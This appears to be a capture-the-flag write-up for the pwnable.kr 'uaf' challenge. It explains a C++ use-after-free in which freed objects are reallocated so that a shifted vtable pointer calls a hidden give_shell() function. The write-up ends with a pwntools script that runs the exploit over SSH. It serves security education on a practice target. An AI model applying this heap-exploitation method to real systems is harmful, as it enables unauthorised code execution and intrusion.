The C++ source code is provided:
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
The program has a simple prompt:
Calls the introduce
methods of Man m
and Woman w
Source:
Reads argv[1]
bytes from file argv[2]
into the buffer data
Source:
Frees frees m
and w
from the heap. No printed output.
Source:
Call Human::give_shell()
and print the flag
Dereferencing dangling pointers
Option 1 is allowed even after entering Option 3. This will dereference the dangling pointers m
and w
- Since
Man
andWoman
inheritsHuman
, the vtable ofm
andw
also contain an entry toHuman::give_shell()
. The entry is offset -8 from::introduce()
- Allocation of
m
andw
consumes 4 chunks:
- "Jack" string is stored at chunk 0x614ea0
m
is stored at chunk 0x614ed0- "Jill" string is stored at chunk 0x614ef0
w
is stored at chunk 0x614f20- The first data of
m
andw
is the vtable address
- After freeing
m
andw
through Option 3, all 4 chunks are freed
Before Option 3 | After Option 3 |
---|---|
![]() |
![]() |
After freeing m
and w
, write data in place of m
and w
such that the vtable is offset by -8. This way Human::give_shell()
will be called instead of ::introduce()
.
Just overwriting m
's vtable (highlighted in image) is enough since we only need to call give_shell()
once and man's function gets called first.
Note that the overwritten data must fit in the chunks of m
and w
which has the size 0x21. This is the minimum chunk size in 64 bit x86 anyway so let's write 8 bytes - just enough for the address.
Also note that since m
is the second 0x21 chunk from top chunk, we have to allocate twice.
Concretely,
- Calculate
Man
's modified vtable addressmod_vtable_addr
= 0x401570 - 8 - Write to payload file as an 8 byte word
- Execute
./uaf 8 {payload_file}
- Free memory through Option 3
- Write data through Option 2 twice
- Call
Human::give_shell()
through Option 1 cat flag
from pwn import *
mod_vtable_addr = 0x401570 - 8
payload = p64(mod_vtable_addr)
with open("uaf_payload.txt", "wb") as f:
f.write(payload)
remote_payload_location = "/tmp/uaf_payload.txt"
s = ssh("uaf", "pwnable.kr", 2222, "guest")
s.upload_data(payload, remote_payload_location)
p = s.system(f"./uaf 8 {remote_payload_location}")
p.sendline(b"3") # Free m and w
p.sendline(b"2") # Write address to w object
p.sendline(b"2") # Write address to m object
p.sendline(b"1") # Win
p.interactive()